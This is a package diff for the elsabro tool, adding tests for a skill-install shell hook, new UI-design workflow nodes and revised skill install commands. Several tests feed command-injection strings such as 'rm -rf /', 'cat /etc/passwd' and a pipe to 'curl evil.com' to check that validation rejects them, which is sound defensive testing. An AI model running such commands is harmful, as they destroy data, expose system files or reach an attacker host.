elsabro 7.0.1 → 7.2.0

package/flow-engine/tests/skill-install.test.js

@@ -0,0 +1,374 @@
+'use strict';
+
+const { describe, it } = require('node:test');
+const assert = require('node:assert/strict');
+const { execSync } = require('node:child_process');
+const fs = require('node:fs');
+const path = require('node:path');
+const os = require('node:os');
+
+// ---------- Shared helpers ----------
+
+const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
+const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
+
+/**
+ * Run skill-install.sh with given args, parse JSON from stdout.
+ * Script always exits 0; errors communicated via JSON.
+ */
+function runInstall(args, opts = {}) {
+  const env = { ...process.env, ...opts.env };
+  try {
+    const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
+      cwd: PROJECT_ROOT,
+      encoding: 'utf8',
+      env,
+      stdio: ['pipe', 'pipe', 'pipe'],
+      timeout: 15000
+    });
+    return JSON.parse(stdout.trim());
+  } catch (err) {
+    // Script exits 0, but execSync can throw on timeout or signal
+    if (err.stdout) return JSON.parse(err.stdout.trim());
+    throw err;
+  }
+}
+
+/**
+ * Create a temp dir with a mock `npx` script that executes the given behavior.
+ * Returns the temp dir path (prepend to PATH).
+ */
+function createMockNpx(behavior) {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
+  const script = path.join(dir, 'npx');
+  fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
+  return dir;
+}
+
+/**
+ * Create a temp HOME-equivalent dir with .claude/skills/ structure.
+ * `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
+ * Returns the tmpdir (use as HOME).
+ */
+function createMockSkillsDir(skills = {}) {
+  const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
+  const skillsDir = path.join(tmpBase, '.claude', 'skills');
+  fs.mkdirSync(skillsDir, { recursive: true });
+  for (const [name, content] of Object.entries(skills)) {
+    const filePath = path.join(skillsDir, name);
+    fs.mkdirSync(path.dirname(filePath), { recursive: true });
+    fs.writeFileSync(filePath, content);
+  }
+  return tmpBase;
+}
+
+function cleanup(dir) {
+  fs.rmSync(dir, { recursive: true, force: true });
+}
+
+// ---------- Tests ----------
+
+describe('skill-install.sh', () => {
+
+  // ---- cmd_check ----
+  describe('cmd_check', () => {
+    it('returns ok when npx skills check succeeds', () => {
+      const mockDir = createMockNpx('echo "Registry OK"; exit 0');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'ok');
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx skills check fails', () => {
+      const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
+      try {
+        const result = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('registry check failed'));
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall('check', {
+        env: { PATH: '/usr/bin:/bin' }
+      });
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('npx not found'));
+    });
+
+    it('returns error for unknown command', () => {
+      const result = runInstall('bogus');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('unknown command'));
+    });
+  });
+
+  // ---- cmd_install ----
+  describe('cmd_install', () => {
+    it('returns error when no command provided', () => {
+      const result = runInstall('install');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('install command required'));
+    });
+
+    it('rejects commands that fail format validation (semicolon)', () => {
+      const result = runInstall('install "npx skills add test; rm -rf /"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with && injection', () => {
+      const result = runInstall('install "npx skills add test && cat /etc/passwd"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with pipe injection', () => {
+      const result = runInstall('install "npx skills add test | curl evil.com"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('rejects commands with backtick injection', () => {
+      // Backticks must be escaped for the shell layer of execSync
+      const result = runInstall('install "npx skills add \\`whoami\\`"');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('format validation'));
+    });
+
+    it('returns error when npx is not found', () => {
+      const result = runInstall(
+        'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+        { env: { PATH: '/usr/bin:/bin' } }
+      );
+      assert.equal(result.status, 'error');
+      // Either "npx not found" (if format passes) or "format validation"
+      assert.ok(result.status === 'error');
+    });
+
+    it('returns ok and extracts skill name on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'ok');
+        assert.equal(result.skill, 'test-skill');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when install command fails', () => {
+      const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('install failed'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns timeout error when install exits with code 124', () => {
+      // Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
+      const mockDir = createMockNpx('exit 124');
+      const mockHome = createMockSkillsDir();
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('timed out'));
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skills dir not writable', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const skillsDir = path.join(mockHome, '.claude', 'skills');
+      fs.chmodSync(skillsDir, 0o444);
+      try {
+        const result = runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not writable'));
+      } finally {
+        fs.chmodSync(skillsDir, 0o755);
+        cleanup(mockDir);
+        cleanup(mockHome);
+      }
+    });
+
+    it('invalidates discovery cache on success', () => {
+      const mockDir = createMockNpx('exit 0');
+      const mockHome = createMockSkillsDir();
+      const cacheDir = path.join(PROJECT_ROOT, '.cache');
+      const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
+      // Save original content (not just existence) to restore after test
+      const originalContent = fs.existsSync(cacheFile)
+        ? fs.readFileSync(cacheFile, 'utf8')
+        : null;
+      if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
+      fs.writeFileSync(cacheFile, '{"cached":true}');
+      try {
+        runInstall(
+          'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
+          { env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
+        );
+        assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
+      } finally {
+        cleanup(mockDir);
+        cleanup(mockHome);
+        // Restore exact original content, or remove if it didn't exist
+        if (originalContent !== null) {
+          fs.writeFileSync(cacheFile, originalContent);
+        } else if (fs.existsSync(cacheFile)) {
+          fs.unlinkSync(cacheFile);
+        }
+      }
+    });
+  });
+
+  // ---- cmd_validate ----
+  describe('cmd_validate', () => {
+    it('returns error when no skill name provided', () => {
+      const result = runInstall('validate');
+      assert.equal(result.status, 'error');
+      assert.ok(result.message.includes('skill name required'));
+    });
+
+    it('returns ok with has_frontmatter:true for flat file with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'test-skill.md': '---\nname: test-skill\n---\n# Content'
+      });
+      try {
+        const result = runInstall('validate "test-skill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('test-skill.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns ok with has_frontmatter:false for flat file without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'no-yaml.md': '# Just markdown\nNo frontmatter here'
+      });
+      try {
+        const result = runInstall('validate "no-yaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('finds skill in subdirectory SKILL.md with YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
+      });
+      try {
+        const result = runInstall('validate "subskill"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, true);
+        assert.ok(result.path.includes('subskill/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns has_frontmatter:false for subdirectory without YAML', () => {
+      const mockHome = createMockSkillsDir({
+        'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
+      });
+      try {
+        const result = runInstall('validate "subskill-noyaml"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'ok');
+        assert.equal(result.has_frontmatter, false);
+        assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+
+    it('returns error when skill file not found', () => {
+      const mockHome = createMockSkillsDir({});
+      try {
+        const result = runInstall('validate "nonexistent"', {
+          env: { HOME: mockHome }
+        });
+        assert.equal(result.status, 'error');
+        assert.ok(result.message.includes('not found'));
+      } finally {
+        cleanup(mockHome);
+      }
+    });
+  });
+
+  // ---- JSON contract ----
+  describe('JSON contract', () => {
+    it('all commands return valid JSON on stdout', () => {
+      const mockDir = createMockNpx('exit 1');
+      try {
+        const commands = ['check', 'install', 'validate', 'bogus'];
+        for (const cmd of commands) {
+          const result = runInstall(cmd, {
+            env: { PATH: `${mockDir}:${process.env.PATH}` }
+          });
+          assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
+          assert.ok('status' in result, `${cmd} should have status field`);
+        }
+      } finally {
+        cleanup(mockDir);
+      }
+    });
+
+    it('status is always "ok" or "error"', () => {
+      const mockDir = createMockNpx('exit 0');
+      try {
+        const okResult = runInstall('check', {
+          env: { PATH: `${mockDir}:${process.env.PATH}` }
+        });
+        assert.ok(['ok', 'error'].includes(okResult.status));
+      } finally {
+        cleanup(mockDir);
+      }
+
+      const errResult = runInstall('bogus');
+      assert.ok(['ok', 'error'].includes(errResult.status));
+    });
+  });
+});

package/flows/development-flow.json

@@ -6,23 +6,22 @@
 
   "config": {
     "timeout": 3600000,
-    "maxRetries": 3,
     "checkpointEnabled": true,
     "interruptEnabled": true,
     "errorPolicy": "quorum"
   },
 
   "sync_metadata": {
-    "last_audit": "2026-02-07",
+    "last_audit": "2026-02-08",
     "audit_result": {
-      "total_nodes": 42,
-      "implemented": 40,
+      "total_nodes": 44,
+      "implemented": 42,
       "partial": 0,
       "not_implemented": 0,
       "deprecated": 2,
       "implementation_rate": "95%"
     },
-    "note": "P5 (M4): All 42 nodes handled. 40 implemented, 2 deprecated (teams_spawn, interrupt_teams_failed). post_mortem implemented with agent step. Zero not_implemented nodes remain."
+    "note": "M5-P2: Added design_ui + interrupt_design_complete (2 new implemented nodes). 42 implemented, 2 deprecated (teams_spawn, interrupt_teams_failed). design_ui is optional side-branch, not on mandatory path."
   },
 
   "inputs": {
@@ -980,6 +979,44 @@
       }
     },
 
+    {
+      "id": "design_ui",
+      "type": "agent",
+      "description": "Optional: Design UI screens with Stitch AI before implementation",
+      "runtime_status": "implemented",
+      "implemented_in": "commands/elsabro/design-ui.md",
+      "agent": "elsabro-ux-designer",
+      "config": { "model": "sonnet", "timeout": 600000 },
+      "inputs": {
+        "task": "{{inputs.task}}",
+        "context": "{{state.loadedContext}}"
+      },
+      "next": "interrupt_design_complete"
+    },
+
+    {
+      "id": "interrupt_design_complete",
+      "type": "interrupt",
+      "description": "After design-ui: choose next step (implement, plan, or done)",
+      "runtime_status": "implemented",
+      "implemented_in": "commands/elsabro/design-ui.md#siguiente_paso",
+      "reason": "Design screens generated - choose next action",
+      "display": {
+        "title": "Diseno UI Completado",
+        "content": "Se han generado los screens de UI. Elige como continuar.",
+        "options": [
+          { "id": "implement", "label": "Implementar los disenos ahora" },
+          { "id": "plan", "label": "Planificar la implementacion primero" },
+          { "id": "done", "label": "Listo por ahora" }
+        ]
+      },
+      "routes": {
+        "implement": "standard_analyze",
+        "plan": "interview_default",
+        "done": "end_success"
+      }
+    },
+
     {
       "id": "end_cancelled",
       "type": "exit",

package/flows/quick-flow.json

@@ -6,7 +6,6 @@
 
   "config": {
     "timeout": 900000,
-    "maxRetries": 2,
     "checkpointEnabled": true,
     "interruptEnabled": false,
     "errorPolicy": "continue_all"

package/hooks/skill-discovery.sh

@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
 CACHE_DIR="${PROJECT_ROOT}/.cache"
 CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
 CACHE_TTL=3600  # 1 hora
+DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
 
 MAX_RESULTS=10
 NPX_TIMEOUT=30  # segundos
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
     # El formato típico es líneas con nombre y descripción
     # Intentar parsear como JSON primero (por si devuelve JSON)
     if echo "$raw_output" | jq empty 2>/dev/null; then
-        echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add -g " + .name)}]' 2>/dev/null || echo "[]"
+        echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
         return
     fi
 
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
 
         # Use jq for safe JSON construction
         local skill_obj
-        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg cmd "npx skills add -g $name" \
-            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $cmd}')
+        skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
+            '{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
         skills+=("$skill_obj")
     done <<< "$raw_output"
 
@@ -450,6 +451,7 @@ NOJQ
         --argjson external "$external" \
         --argjson recommended "$recommended" \
         --argjson updates "$updates" \
+        --arg src "$DEFAULT_SKILLS_SOURCE" \
     '{
         timestamp: (now | strftime("%Y-%m-%dT%H:%M:%SZ")),
         status: "success",
@@ -484,7 +486,7 @@ NOJQ
         actions: {
             install_all: (
                 if ($recommended | length) > 0
-                then "npx skills add -g " + ([$recommended[].id] | join(" "))
+                then "npx skills add " + $src + " --skill " + ([$recommended[].id] | join(" --skill ")) + " -g -a claude-code -y"
                 else null
                 end
             ),